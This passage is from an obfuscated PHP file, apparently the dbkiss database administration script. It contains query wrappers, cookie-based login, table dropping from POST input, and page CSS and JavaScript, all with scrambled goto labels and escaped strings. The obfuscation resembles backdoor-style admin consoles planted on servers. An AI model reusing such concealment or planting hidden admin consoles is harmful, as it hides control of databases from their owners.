"\141" == $nextchar2) { $inside_link = false; } } } if ($char == "\76") { $open_tag = false; } if ($open_tag) { $ret .= $char; continue; } } if (in_array($char, $restart)) { $cnt = 0; } else { $char_ord = ord($char); if ($char_ord >= $A && $char_ord <= $Z) { $cnt += 1.5; } else { $cnt++; } } $ret .= $char; if ($cnt > $width) { if (1 || !$inside_link) { $ret .= $break; $cnt = 0; } } } return $ret; } goto NuF57; yaVCA: function db_query($query, $dat = false) { global $db_driver, $db_link; $query = db_bind($query, $dat); if (!db_is_safe($query)) { return false; } if ("\x6d\171\x73\x71\x6c" == $db_driver) { $rs = mysql_query($query, $db_link); if (!$rs) { trigger_error("\155\171\x73\x71\154\x5f\161\165\145\x72\x79\50\x29\40\x66\x61\x69\x6c\x65\144\72\x20{$query}\x2e\x3c\142\162\76\x45\x72\162\157\162\x3a\x20" . db_error(), E_USER_ERROR); } return $rs; } else { if ("\160\x67\x73\x71\154" == $db_driver) { $rs = pg_query($db_link, $query); if (!$rs) { trigger_error("\x70\x67\x5f\161\165\x65\162\171\50\51\40\x66\x61\151\x6c\x65\x64\x3a\x20{$query}\56\x3c\x62\162\76\x45\162\162\x6f\x72\72\40" . db_error(), E_USER_ERROR); } return $rs; } else { if ("\163\x71\x6c\x69\x74\x65" == $db_driver) { global $PDO; $stmt = $PDO->query($query); return $stmt; } } } } goto fSjum; wMhZN: function charset_assoc($arr) { sort($arr); $ret = array(); foreach ($arr as $v) { if (!$v) { continue; } $v = strtolower($v); $ret[$v] = $v; } return $ret; } goto hFL3G; CHy2l: function AutoFocus_Script() { ?>
<script>function AutoFocus_Help(e){e||(e=document.getElementById("AutoFocus_HelpLink"));Tooltip(e,"You can just <b>start typing</b> on this page and the search input will be <b>focused automatically</b>.<br>Click <b>Alt + S</b> to focus the search input and not delete the text.<br>Press <b>Alt + Z</b> to reset the input and resubmit the form.<br>Press <b>Alt + R</b> to reset the search filters.<br><br>Most <b>form controls</b> have keyboard shortcuts associated, press ALT + underlined letter.<br>After you choose an option from <b>&lt;select&gt;</b> element, press Enter to submit the form.<br><br>You can navigate through a listing by using <b>arrows</b> on your keyboard.<br>Use <b>Up</b> or <b>Down</b> to move to the next or previous record.<br>Use <b>Left</b> or <b>Right</b> to move to the next page or previous page on table view screen<br>or switch between tables and views on the main page.<br>Use <b>Page Up</b> or <b>Page Down</b> to jump up or down by one page screen.<br>Use <b>Home</b> or <b>End</b> to jump to the first or to the last record.<br><br>Use <b>Enter</b> to view the table or edit the row.<br>Use <b>Delete</b> to drop the table or delete the row.<br>Use <b>Shift</b> to select multiple rows.")}function ExpandSelect(t,e){void 0===e&&(e=20),"string"==typeof t&&(t=document.getElementById(t)),void 0===window.ExpandSelect_tempID&&(window.ExpandSelect_tempID=0),window.ExpandSelect_tempID++;var n=t.getClientRects();var o=document.createElement("SELECT");if(function(e,t){for(var n=t.options.length=0;n<e.options.length;n++){var o=e.options[n];t.options.add(new Option(o.text,n))}}(t,o),o.style.cssText="visibility: hidden;",t.style.width&&(o.style.width=t.style.width),t.style.height&&(o.style.height=t.style.height),o.id="ExpandSelect_"+window.ExpandSelect_tempID,t.parentNode.insertBefore(o,t.nextSibling),(t=t.parentNode.removeChild(t)).length>e?t.size=e:t.size=t.length,"pageXOffset"in window)var r=window.pageXOffset,i=window.pageYOffset;else{var a=function(){var e=1;if(document.body.getBoundingClientRect){var t=document.body.getBoundingClientRect(),n=t.right-t.left,o=document.body.offsetWidth;e=Math.round(n/o*100)/100}return e}();r=Math.round(document.documentElement.scrollLeft/a),i=Math.round(document.documentElement.scrollTop/a)}t.style.position="absolute",t.style.left=n[0].left+r+"px",t.style.top=n[0].top+i+"px",t.style.zIndex="1000000",t.setAttribute("_ExpandSelect","1");var d=t.onchange;t.onchange=null;var l,u=window.ExpandSelect_tempID,c=function(){l()},s=function(e){if((e=e||window.event).target){if("OPTION"==e.target.tagName)return e.preventDefault(),l(),0}else if("SELECT"==e.srcElement.tagName||"OPTION"==e.srcElement.tagName)return e.preventDefault(),l(),0;return 1},m=function(e){return(e=e||window.event).altKey||e.ctrlKey||e.shiftKey||e.metaKey?1:27==e.keyCode||13==e.keyCode?(e.preventDefault(),l(),0):1};l=function(){t.removeEventListener?(t.removeEventListener("blur",c,!1),t.removeEventListener("click",s,!1),t.removeEventListener("keydown",m,!1)):(t.detachEvent("onblur",c),t.detachEvent("onclick",s),t.detachEvent("onkeydown",m)),t.size=1,t.style.position="static",t=t.parentNode.removeChild(t);var e=document.getElementById("ExpandSelect_"+u);e.parentNode.insertBefore(t,e),e.parentNode.removeChild(e),t.focus(),window.setTimeout(function(){t.setAttribute("_ExpandSelect",""),t.onchange=d},20)},t.addEventListener?t.addEventListener("keydown",m,!1):t.attachEvent("onkeydown",m),t.addEventListener?t.addEventListener("click",s,!1):t.attachEvent("onclick",s),t.addEventListener?t.addEventListener("blur",c,!1):t.attachEvent("onblur",c),document.body.appendChild(t),t.focus()}function AutoFocus_OnKeyDown(e){e||(e=window.event);var t=document.forms.AutoFocus_Form,n=document.getElementById("AutoFocus_Input"),o=document.getElementById("AutoFocus_Submit");if(112==e.keyCode)return e.preventDefault(),Tooltip_Div&&Tooltip_Div.parentNode?document.body.removeChild(Tooltip_Div):AutoFocus_Help(),0;if(e.altKey&&!e.ctrlKey&&!e.metaKey&&!e.shiftKey&&83==e.keyCode)return e.preventDefault(),"AutoFocus_Input"==document.activeElement.id?n.blur():(n.focus(),n.select()),0;if(e.altKey&&82==e.keyCode)return e.preventDefault(),-1!=window.location.href.match(/viewtable=([^&]+)/)?window.location.href="<?php  echo $_SERVER["\120\x48\x50\x5f\x53\105\114\106"]; ?>
?viewtable=".RegExp.$1:window.location.href="<?php  echo $_SERVER["\x50\110\x50\137\x53\x45\114\106"]; ?>
",0;if(e.altKey&&90==e.keyCode)return e.preventDefault(),n.value="",o&&o.focus(),t.submit(),0;if(!e.altKey&&!e.ctrlKey&&!e.metaKey&&48<=e.keyCode&&e.keyCode<=57||!e.altKey&&!e.ctrlKey&&!e.metaKey&&65<=e.keyCode&&e.keyCode<=90){if("AutoFocus_Input"!=document.activeElement.id){var r=document.activeElement;if("SELECT"==r.tagName||"INPUT"==r.tagName&&"text"==r.type)return e.preventDefault(),0;n.value="",n.focus()}return 1}for(var i=[[79,"order_by"],[66,"db_name"],[85,"dump_database"]],a=0;a<i.length;++a){var d=i[a][0],l=i[a][1];if(e.keyCode==d&&Element(l))return e.preventDefault(),ExpandSelect(l),0}if(e.altKey||e.ctrlKey||e.shiftKey||e.metaKey)return 1;if(27==e.keyCode&&"undefined"!=typeof Tooltip_Div&&Tooltip_Div)return Tooltip_Hide(),0;if(27==e.keyCode&&("INPUT"==document.activeElement.tagName||"SELECT"==document.activeElement.tagName))return document.activeElement.blur(),0;if(13==e.keyCode&&"SELECT"==document.activeElement.tagName&&!document.activeElement.getAttribute("_ExpandSelect")){if(document.activeElement.form){e.preventDefault();t=document.activeElement.form;return document.activeElement.blur(),t.submit(),0}if(document.activeElement.onchange)return e.preventDefault(),document.activeElement.onchange(),document.activeElement.blur(),0}return 1}document.addEventListener?document.addEventListener("keydown",AutoFocus_OnKeyDown,!1):document.attachEvent("onkeydown",AutoFocus_OnKeyDown)</script><?php  } goto d_mJN; vBQz7: if ("\x70\x67\x73\x71\x6c" == $db_driver) { ?>
<select onchange="this.value&&(window.location.href=this.value)"accesskey="u"id="dump_database"><option value=""></option><option value="<?php  echo $export_data; ?>
">Data only</option></select><?php  } else { ?>
<select onchange="this.value&&(window.location.href=this.value)"accesskey="u"id="dump_database"><option value=""></option><option value="<?php  echo $export_structure; ?>
">Structure only</option><option value="<?php  echo $export_data; ?>
">Data and structure</option></select><?php  } goto Rw05D; jH27a: if ($_POST["\144\x72\157\160\137\164\141\x62\x6c\x65"]) { $drop_table_enq = quote_table($_POST["\144\162\x6f\160\137\x74\x61\x62\154\145"]); db_exe("\104\122\117\120\40\x54\101\x42\114\x45\40" . $drop_table_enq); header("\114\157\x63\x61\x74\x69\157\156\72\40" . $_SERVER["\x50\110\x50\137\123\105\x4c\106"]); die; } goto o_YSi; Bh4lu: if (ini_get("\x6d\x61\147\x69\143\137\x71\x75\157\x74\x65\163\137\147\160\x63")) { ini_set("\x6d\x61\x67\x69\143\137\x71\165\x6f\x74\145\163\x5f\162\165\x6e\x74\x69\x6d\x65", 0); array_walk_recursive($_GET, "\x64\142\137\155\x61\147\151\x63\x5f\x71\165\157\x74\x65\163\137\x67\160\x63"); array_walk_recursive($_POST, "\144\x62\x5f\155\141\147\151\x63\x5f\161\x75\x6f\x74\x65\163\x5f\147\x70\143"); array_walk_recursive($_COOKIE, "\144\x62\x5f\x6d\x61\x67\x69\143\137\x71\x75\157\x74\x65\163\x5f\x67\x70\x63"); } goto vKaHW; hOA3Y: function GET($key, $type) { if ("\163\x74\162\151\156\147" == $type) { $_GET[$key] = isset($_GET[$key]) ? (string) $_GET[$key] : ''; } else { if ("\151\x6e\x74" == $type) { $_GET[$key] = isset($_GET[$key]) ? (int) $_GET[$key] : 0; } else { if ("\x62\x6f\157\x6c" == $type) { $_GET[$key] = isset($_GET[$key]) ? (bool) $_GET[$key] : false; } else { if ("\x61\x72\x72\141\171" == $type) { $_GET[$key] = isset($_GET[$key]) ? (array) $_GET[$key] : array(); } else { trigger_error("\x47\105\124\50\51\x20\146\x61\x69\154\145\144\x3a\40\x6b\145\171\75{$key}\x2c\x20\164\171\160\x65\x3d{$type}", E_USER_ERROR); } } } } return $_GET[$key]; } goto Gq1ye; ur7YX: function PDO_FetchRow($query, $params = null) { global $PDO; if (isset($params)) { $stmt = $PDO->prepare($query); $stmt->execute($params); } else { $stmt = $PDO->query($query); } return $stmt->fetch(PDO::FETCH_ASSOC); } goto gZOMe; j44A4: function is_select($query) { return preg_match("\43\136\134\x73\x2a\x28\x53\x45\x4c\x45\103\124\x29\134\163\53\43\x69", $query); } goto IkFNH; fSjum: function db_is_safe($q, $ret = false) { $upd = "\x75\x70\144\x61\164\x65"; $del = "\x64\x65\154\x65\x74\x65"; $q = ltrim($q); if (strtolower(substr($q, 0, strlen($upd))) == $upd || strtolower(substr($q, 0, strlen($del))) == $del) { if (!preg_match("\x23\x5c\163\167\150\x65\162\x65\x5c\163\43\151", $q)) { if ($ret) { return false; } else { trigger_error(sprintf("\x64\x62\x5f\151\163\137\x73\x61\146\x65\50\x29\x20\x66\x61\x69\154\145\144\x2e\40\x44\x65\x74\x65\x63\164\x65\x64\40\x55\120\x44\101\124\x45\57\104\105\114\x45\124\105\40\x77\151\x74\150\x6f\165\x74\40\127\x48\x45\122\105\x20\x63\x6f\x6e\x64\151\x74\151\x6f\156\56\40\x51\x75\x65\162\x79\72\40\x25\x73\56", $q), E_USER_ERROR); return false; } } } return true; } goto BY__D; Ik5bj: ?>
</td></tr></table></form><?php  goto q_q9p; RPL9m: function ht_authorize() { $c_user = isset($_COOKIE["\x68\x74\x5f\165\x73\145\162"]) ? $_COOKIE["\x68\x74\137\165\163\145\x72"] : null; $c_password = isset($_COOKIE["\150\x74\x5f\160\141\x73\x73\x77\157\x72\144"]) ? $_COOKIE["\150\x74\137\160\x61\163\163\x77\157\x72\144"] : null; if (HT_USER == $c_user && HT_PASSWORD == $c_password) { return 1; } else { return 0; } } goto xBGMr; mdYHu: echo html_once($_GET["\x74\141\x62\x6c\x65\x5f\146\151\154\x74\145\162"]); goto h3xLk; jgoOw: function pad_zeros($number, $zeros) { if (strstr($number, "\56")) { preg_match("\43\x5c\x2e\x28\x5c\x64\53\51\44\x23", $number, $match); $number .= str_repeat("\x30", $zeros - strlen($match[1])); return $number; } else { return $number . "\x2e" . str_repeat("\x30", $zeros); } } goto I6saY; vKaHW: function db_magic_quotes_gpc(&$val) { $val = stripslashes($val); } goto ngi7T; EpJsE: if (SQLITE_USED) { PDO_Connect("\x73\161\154\151\x74\145\x3a" . SQLITE_FILE); } else { db_connect($db_server, $db_name, $db_user, $db_pass); } goto onra0; IkFNH: function is_show($query) { return preg_match("\43\x5e\x5c\x73\x2a\x28\123\110\117\127\51\134\x73\x2b\43\151", $query); } goto KBRJA; OAvNT: function layout() { global $sql_area; ?>
<style type="text/css">body,html{cursor:default}::selection{background:#c1ebfa}body,table{font:11px Tahoma}body{line-height:1.4em}input,select,textarea{font:11px Tahoma}input[type=search],input[type=text]{border:#b5b4bb 1px solid;border-radius:3px;padding:2px 3px;background:#f9f9f9}input[type=search]:focus select:focus,input[type=text]:focus{background:#f2fbfe;border-color:#7fb2da}form .ls2 input[type=text]{background:#fff}select{border:#b5b4bb 1px solid;border-radius:3px;padding:1px 3px;background:#f9f9f9}input[type=button],input[type=submit]{border-width:1px;border-radius:3px;background:-webkit-linear-gradient(#fff,#ddd);background:-moz-linear-gradient(#fff,#ddd);background:-o-linear-gradient(#fff,#ddd);padding:2px 12px;cursor:pointer;box-sizing:border-box;border-style:solid;border-color:#ddd #989699 #989699 #ddd}input[type=button]:active,input[type=submit]:active{border-color:#989699 #ddd #ddd #989699}input[type=button]:focus,input[type=button]:hover,input[type=submit]:focus,input[type=submit]:hover{background:-webkit-linear-gradient(#fff,#cdeffb);background:-moz-linear-gradient(#fff,#cdeffb);background:-o-linear-gradient(#fff,#cdeffb)}input:focus,select:focus,textarea:focus{outline:0}body{padding:0;margin:1em 1.5em}h1,h2{margin:11px 0}h1{font:bold 15px Tahoma}h2{font:bold 13px Tahoma}a,a:visited{text-decoration:none}a:hover{text-decoration:underline}a,a.blue,a.blue:visited,a:visited{color:#0064ff}.special{font:11px Tahoma;color:#000;padding:2px 8px;border:#ccc 1px solid;border-radius:5px;background:-webkit-linear-gradient(#fff,#eee);background:-moz-linear-gradient(#fff,#eee);background:-o-linear-gradient(#fff,#eee)}.special:hover{border-color:#aaa;color:#000;text-decoration:none;background:-webkit-linear-gradient(#fff,#ddd);background:-moz-linear-gradient(#fff,#ddd);background:-o-linear-gradient(#fff,#ddd)}p{margin:.75em 0}form{margin:0;padding:0}form th{text-align:left}form .none td,form .none th{background:0 0;padding:0 .25em}label{padding-left:2px;padding-right:4px}.checkbox{padding-left:0;margin-left:0;margin-top:1px}.error{background:#ffffd7;padding:.5em;border:#ccc 1px solid;margin-bottom:1em;margin-top:1em}.msg{background:#eee;padding:.5em;border:#ccc 1px solid;margin-bottom:1em;margin-top:1em}<?php  echo $sql_area; ?>
.query{background:#eee;padding:.35em;border:#ccc 1px solid;margin-bottom:1em;margin-top:1em}.ls{box-shadow:1px 1px 8px #ddd}.ls>tbody>tr>td,.ls>tbody>tr>th{padding:2px 10px;font:11px Tahoma}.ls>tbody>tr>th{background:-webkit-linear-gradient(#fff,#ddd);background:-moz-linear-gradient(#fff,#ddd);background:-o-linear-gradient(#fff,#ddd);font-weight:700;font-size:11px;text-transform:none;border-top:#ccc 1px solid;border-bottom:#bbb 1px solid;padding:3px 5px}.ls>tbody>tr>th.camelcase{text-transform:none}.ls>tbody>tr>th.sortable{padding:0}.ls>tbody>tr>th.sortable>a{display:block;color:#111;padding:3px 14px;position:relative}.ls>tbody>tr>th.sortable:hover{border-bottom:#999 1px solid}.ls>tbody>tr>th.sortable>a:hover{text-decoration:none;background:-webkit-linear-gradient(#fff,#cdeffb);background:-moz-linear-gradient(#fff,#bfbfbf);background:-o-linear-gradient(#fff,#bfbfbf);color:#000}.ls>tbody>tr>th.sortable>a:active{text-decoration:none;background:-webkit-linear-gradient(#cdeffb,#fff);background:-moz-linear-gradient(#eee,#fff);background:-o-linear-gradient(#eee,#fff);color:#000}.ls>tbody>tr>th.sortable>a>span.uparrow1{position:absolute;width:16px;height:16px;top:2px;left:-1px;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPNJREFUeNpi/P//PwMlgImBQjDwBrCgCxj1XGfg4OZmYGNnj2FgZCxg+P9/wq+fP5f8+PqV4VyJJnEuAAZsDFBTQZS7mDGIBvGJ9gJI8c9v3wri/OWMX/1kYIjxkzMG8XEZgmEA0KkFceGaxvuP32d49p2B4eCJ+wwhIZrGIHGiwuD71y9n+yfsZXj79h2Dk4Ki8b7NZ86eOHaPgZGJ6SxRBvz/9y/9989fDJysrGfeAr0ApBmAfBNWdjbiYuHbp89AV3wFs3/9ZwCzQZgTGDNEGfDx7VtYaJ69uPesFMP372eB0cnw68cPrAYwjuYFBoAAAwCwH3kFP+QZjgAAAABJRU5ErkJggg==) no-repeat}.ls>tbody>tr>th.sortable>a>span.downarrow1{position:absolute;width:16px;height:16px;top:2px;right:-2px;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAA40lEQVR42mNkoBAwDnMDWANmz2QwNPRlOH9+8+8NqekkG8AdueSMZna08fWpS89+XR5jQrIBIinrz6glBhjfmr/h7Js5gcQbIF+yb+b/f/+M3759x+CUG2q8b/Lqs8LCQgyMTExnH/Y4pRM0QKP+1JnYBFPji2fvMwhrKjK8vX6fwdJMkWHm3NNnbzSamRA0wKDragwjI2NBSqSm8btfQK+wMzDMWnb97P///ydcKNNeQlQYWEx9ADYkwV/OeMHGR2DNJ7IVlqCrwxuI9nNfxDAADWEAaj6YLLEEm5pBnhLpYgAAn+ZVERqSnwgAAAAASUVORK5CYII=) no-repeat}.ls>tbody>tr>th.sortable>a>span.uparrow2{position:absolute;width:16px;height:16px;top:2px;left:-1px;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAEdSURBVHjaYvz//z8DJQAggJgYKAQAAUSxAQABRLEBAAHEgi7Q0tLCwM3NzcDGxhbDyMhY8O/fvwm/fv1a8u3bN4aamhoMAwACCKsLgAEb8/PnzwInJydjoOYCEB+XCwACCJsBMUDbCry9vY2BhjB4eXkZ//jxowAkjs0AgADCMACkOTAw0PjkyZMgNgOI9vHxMQaJYzMAIIBYsBhwdubMmQzv379nkJaWNt6zZ89ZIGBgYmI6i80AgADCMAAYaOkgp7Oysp6B0gzAcDABBirWMAAIIAwDvnz5AnY6NDDB7O/fvzNwcnJiNQAggDAM+PDhA8wlZ48ePSoFDMCzQOczgFyDDQAEECOleQEggChOiQABRLEBAAFEsQEAAQYAUQR6EOOFIlQAAAAASUVORK5CYII=) no-repeat}.ls>tbody>tr>th.sortable>a>span.downarrow2{position:absolute;width:16px;height:16px;top:2px;right:-2px;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAETSURBVHjaYvz//z8DJQAggJgYKAQAAUSxAQABRLEBAAHEgk2QkZERTPv7+8/U0tLyvX79+uYNGzakg8TQwwwggPC6gIODw9ja2lqSnZ3dGJcagADCawAXFxfYNSAaFwAIIKxeyM/Pn/nv3z/jDx8+MLCxsTH8/v2bITc39wzQsLNA6XRktQABxILDZuOIiAjjCxcugG13dXU1BgKGpUuXYqgFCCCsXuDk5JywefPms6ampmADzMzMGNavX38WyJ6ArhYggBixpUSQv3t7e2OAzAJvb2/jrVu3gpw+obi4eAm6eoAAwmkACEyZMiUGyC4AqpmQk5OzBFs0AgQQI6V5ASCAKE6JAAFEsQEAAUSxAQABBgBLiE3/WjHs8wAAAABJRU5ErkJggg==) no-repeat}.ls>tbody>tr>td{border-bottom:#e7e7e7 1px solid;background:#fff}.ls>tbody>tr:nth-of-type(odd)>td{background:-webkit-linear-gradient(#f9f9f9,#f0f0f0);background:-moz-linear-gradient(#f9f9f9,#f0f0f0);background:-o-linear-gradient(#f9f9f9,#f0f0f0)}.ls>tbody>tr>td,.ls>tbody>tr>th{border-right:#fff 1px solid}.ls>tbody>tr>td:last-child,.ls>tbody>tr>th:last-child{border-right:none}.ls>tbody>tr>th>a{display:block}.ls>tbody>tr>th{border-right:#ccc 1px solid}.ls>tbody>tr>th:first-child{border-top-left-radius:5px;border-left:#ccc 1px solid}.ls>tbody>tr>th:last-child{border-top-right-radius:5px;border-right:#ccc 1px solid}.ls>tbody>tr>td:first-child{border-left:#ddd 1px solid}.ls>tbody>tr>td:last-child{border-right:#ddd 1px solid}.ls>tbody>tr:last-child>td{border-bottom:#ddd 1px solid;padding-bottom:3px}.ls>tbody>tr:last-child>td:first-child{border-bottom-left-radius:5px}.ls>tbody>tr:last-child>td:last-child{border-bottom-right-radius:5px}.ls>tbody>tr>td.next_marked{border-bottom:#aaa 1px solid}.ls>tbody>tr>td.marked{background:#ddd;border-bottom:#aaa 1px solid;background:-webkit-linear-gradient(#eee,#ddd);background:-moz-linear-gradient(#eee,#ddd);background:-o-linear-gradient(#eee,#ddd)}.ls2 th{background:#ccc}.ls2 th th{background-color:none}.ls2 td{background:#f5f5f5}.ls2 td td{background-color:none}.ls2 td,.ls2 th{padding:.1em .5em}.ls2 td td,.ls2 th th{padding:0}.ls2 th{text-align:left;vertical-align:top;line-height:1.7em;background:#e0e0e0;font-weight:400}.ls2 th th{line-height:normal;background-color:none}.ls2 .none{background:0 0;padding-top:.4em}div.tooltip{background:#fff;padding:.75em 1em;font:11px Tahoma;line-height:1.4em;border:1px solid #bbb;border-radius:4px;box-shadow:1px 1px 8px #ccc;opacity:0;-webkit-transition:opacity .2s ease-in;-moz-transition:opacity .2s ease-in;-o-transition:opacity .2s ease-in;-ms-transition:opacity .2s ease-in;transition:opacity .2s ease-in}.help{width:15px;height:15px;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAPCAYAAAA71pVKAAAAAXNSR0IArs4c6QAAAAlwSFlzAAALEwAACxMBAJqcGAAAAbJJREFUKFNtk79rFEEUxz9zu1GjnAcWFv4GUxwWEkuVNJFoShs5ECKIKdJbBDlLBcFUFoY0KRSEgP+ACAch3VVphJNESUQNhCRmPXPr7uzMs1h2nL3Lt5mZN3y+82beG0WfRET6Y4WUUspfh/5CROTOoya3r11wsc1fGoDPG1uIiPgGDhYRmZqd49XLZ0RJvv9tXzMcVwCoA1ennpcMQh98OvuYxfYevhJtAEh1xuR0s2QQiojcaszwen6exfYeiTZcP3+UxmjNGSytRrTWUqLt70xONzk7dh8REZf2l50EAGMsjdEaS6sRy18PMMaycO8cHzr7DAUBAPUzJwGo4KlI0Qd9aWP4k/4vRum1jbEYa0snArxp76DTjCDMz+r8/D0Ipzpz85sXjznwYyfiMDm4ZwK0MQwF+dha75YgbcwA7O68HVfoxQnaGKy1jI9UefvgMhP1mgPj5G8JVpDXeezuQ27MzLG5tUuWaQ7T6UtXaC08ofP+BUopFULes75BNzhF76BbAo+fqDrQ2rwKpUYvDKLqCABpnBscGa6yu/GJHyvvsNYSBIEagAuD/lih/l/1D+7b7TstfO0wAAAAAElFTkSuQmCC) no-repeat;display:inline-block;margin-bottom:-3px}.help:hover{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAPCAYAAAA71pVKAAAAAXNSR0IArs4c6QAAAAlwSFlzAAALEwAACxMBAJqcGAAAAa5JREFUKFNtk71rFEEYxn+ztxya00AwQUGJhVhoGq0Ei1jYKFhGQUhxVUCIIBjBwr9AtFSEKwSTLqCFRSrRWCmICCLx64oLNibEYC57H3s781hsbp255Glm3nfm98zXO4YBSdJgri9jjPHj2A8k6fD9Ra5NDBe5j1ne//ntF5LkGxSwJJ1+9oa3s1P8zfLxRmI51duZe/Yc++8uBgaxD76YusCTlW18dTObtz3LzemroYEkjd57rK+J060PW7rxblPzjUS+5huJqstrqi6v6c5nyVy5LUkqtv29mQFgnZgeH2JhtcXr1TbOOZ5OjrFUb1IuRQAcOnMCgGivLfqgr9Q6kuz/YwS3bZ3IrAtWBKjVm7S7olzO5218qu+G015W9M8f3VeASz8S9lIBd1xEah3lUt6+aiQB1HIRpOExijOv9wwbbUNqHVbi4vEKzy8d4fLJSg4Cf7LgijCQv/PI3EOq12dY+d2mEy5QaOLYGLVajfTRDMYYE0Nes75BWjrAVtIKwOHKUAHanfIPCr1v0InHAbDNTQBKB0fofnmPe/kAKxFHkdkF9w0Gc30N/qp/BbAB6d6RyA0AAAAASUVORK5CYII=) no-repeat}</style><script>function Element(e){return"string"==typeof e?document.getElementById(e):e}function sprintf(e){var t=1,n=arguments;return e.replace(/%s/g,function(e){return t<n.length?n[t++]:""})}function popup(e,t,n,o){t||(t=<?php  echo SQL_POPUP_WIDTH; ?>
),n||(n=<?php  echo SQL_POPUP_HEIGHT; ?>
);var r=screen.width/2-t/2,i=screen.height/2-n/2;window.open(e,"","scrollbars=yes,resizable=yes,width="+t+",height="+n+",screenX="+r+",screenY="+i+",left="+r+",top="+i+(o?","+o:""))}function link_noreferer(e){var t=window.open("about:blank","_blank");t.document.open(),t.document.write("<!doctype html>"),t.document.write("<html><head>"),t.document.write("<title>Secure redirect</title>"),t.document.write("<style>"),t.document.write("body { font: 11px Tahoma; line-height: 1.4em; margin: 1em 1.5em; }"),t.document.write("h1 { font: bold 15px Tahoma; color: #000; text-shadow: 1px 1px 1px #fff; }"),t.document.write("h1 a { font: normal 13px Tahoma; } h1 small { font: normal 11px Tahoma; }"),t.document.write("a, a:visited { color: rgb(0,110,255); display: inline-block; margin-top: 0.25em; }"),t.document.write("</style>"),t.document.write("<meta http-equiv=refresh content='10;url="+e+"'>"),t.document.write("<script>var xcount=10; var xtimer=null; function counter(){ --xcount; if (xcount < 0) return; document.getElementById('xseconds').innerHTML = xcount; } xtimer = setInterval(counter, 1000);<\/script>"),t.document.write("<script>function redirect() { clearInterval(xtimer); document.getElementById('xseconds').innerHTML = '0'; if (navigator.userAgent.indexOf('MSIE') != -1) { location.replace('"+e+"'); } else { document.open(); document.write('<meta http-equiv=refresh content=\"0;"+e+"\">'); document.close(); } }<\/script>"),t.document.write("</head><body>"),t.document.write('<h1>Secure redirect to:<br><a href="javascript:;" onclick="redirect()">'+e+"</a> <br><small>(safe to click)</small></h1>"),t.document.write("<p>This is a secure redirect that hides the HTTP REFERER header."),t.document.write("<br>The site you are being redirected won't know the location of the dbkiss script."),t.document.write("<br>In <b id=xseconds>10</b> seconds you will be redirected to that address. "),t.document.write("</body></html>"),t.document.close()}var Tooltip_Div=null,Tooltip_OverElem=null;function Tooltip(e,t,n){Tooltip_OverElem=e,Tooltip_Hide();var o=t;o.length<30&&document.getElementById(o)&&(o=document.getElementById(o).innerHTML);var r=document.createElement("DIV");r.className="tooltip",r.innerHTML=n?o.replace(/\n/g,"<br>"):o;var i=0,a=0,l=e.getClientRects();l.length&&(i=l[0].top+window.pageYOffset,a=l[0].right+10+window.pageYOffset),r.style.position="absolute",r.style.top=i+"px",r.style.left=a+"px",Tooltip_Div=r,document.body.appendChild(r),window.setTimeout(function(){r.style.opacity=1},13)}function Tooltip_Hide(e){if(!e||e.target!=Tooltip_OverElem){if(Tooltip_Div&&Tooltip_Div.parentNode){var t=Tooltip_Div;t.style.opacity=0,window.setTimeout(function(){document.body.removeChild(t)},500)}Tooltip_Div=null}}function mark_row(e,t){var n=window.getSelection();if(!(0<n.rangeCount)||"Range"!=n.type&&"None"!=n.type){if((t=t||window.event)&&t.target&&"TD"!=t.target.tagName)return 0;var o=e.getElementsByTagName("td");if(e.marked){for(var r=0;r<o.length;r++)o[r].className=o[r].className.replace(/\bmarked\b/,"");if(o=null,e.marked=!1,"#"!=(i=e.previousElementSibling.firstElementChild).innerText&&!/\bmarked\b/.test(i)){prev_els=e.previousElementSibling.getElementsByTagName("td");for(r=0;r<prev_els.length;r++)prev_els[r].className=prev_els[r].className.replace(/\bnext_marked\b/,"")}}else{for(r=0;r<o.length;r++)o[r].className+=" marked";var i;if(e.marked=!0,o=null,"#"!=(i=e.previousElementSibling.firstElementChild).innerText&&!/\bmarked\b/.test(i)){prev_els=e.previousElementSibling.getElementsByTagName("td");for(r=0;r<prev_els.length;r++)prev_els[r].className+=" next_marked"}}}}document.addEventListener?document.addEventListener("click",Tooltip_Hide,!1):document.attachEvent("onclick",Tooltip_Hide);var IS_CTRL=0;function ElementPosition(e,t){var n=e.getBoundingClientRect(),o=n.left+window.pageXOffset,r=n.top+window.pageYOffset,i=-1,a=-1;t&&(a=t.target===e&&"offsetX"in t?(i=t.offsetX,t.offsetY):(i=t.pageX-o,t.pageY-r));var l=!1;return 0<=i&&i<=n.width&&0<=a&&a<=n.height&&(l=!0),{screenX:n.left,screenY:n.top,pageX:o,pageY:r,width:n.width,height:n.height,mouseX:i,mouseY:a,hasMouse:l}}function ElementSide(e,t){pos=ElementPosition(e,t),halfWidth=Math.floor(pos.width/2),halfHeight=Math.floor(pos.height/2);var n=!1,o=!1;return pos.mouseX>halfWidth?o=!0:n=!0,{left:n,right:o}}function Sort_Mouseover(e,t){var n,o,r=ElementSide(e,t);(i=e.innerHTML.match(/class="?((up|down)arrow1)"?/i))&&(n=i[1]),o=n?"uparrow1"==n?"downarrow2":"uparrow2":r.left?"uparrow2":"downarrow2";var i,a="";if((i=e.innerHTML.match(/class="?((up|down)arrow2)"?/i))&&(a=i[1]),!a||a&&a!=o){a&&a!=o&&Sort_Mouseout(e,t,!0);var l=document.createElement("span");l.className=o;var c=e;l.onmouseover=function(e){Sort_Mouseover(c,e)},l.onmouseout=function(e){Sort_Mouseout(c,e)},l.onmousedown=function(e){Sort_Click(c,e)},e.appendChild(l)}}function Sort_Mouseout(e,t,n){e.innerHTML=e.innerHTML.replace(/\s*<span[^<>]+class="?(up|down)arrow2"?[^<>]*><\/span>/i,"")}function 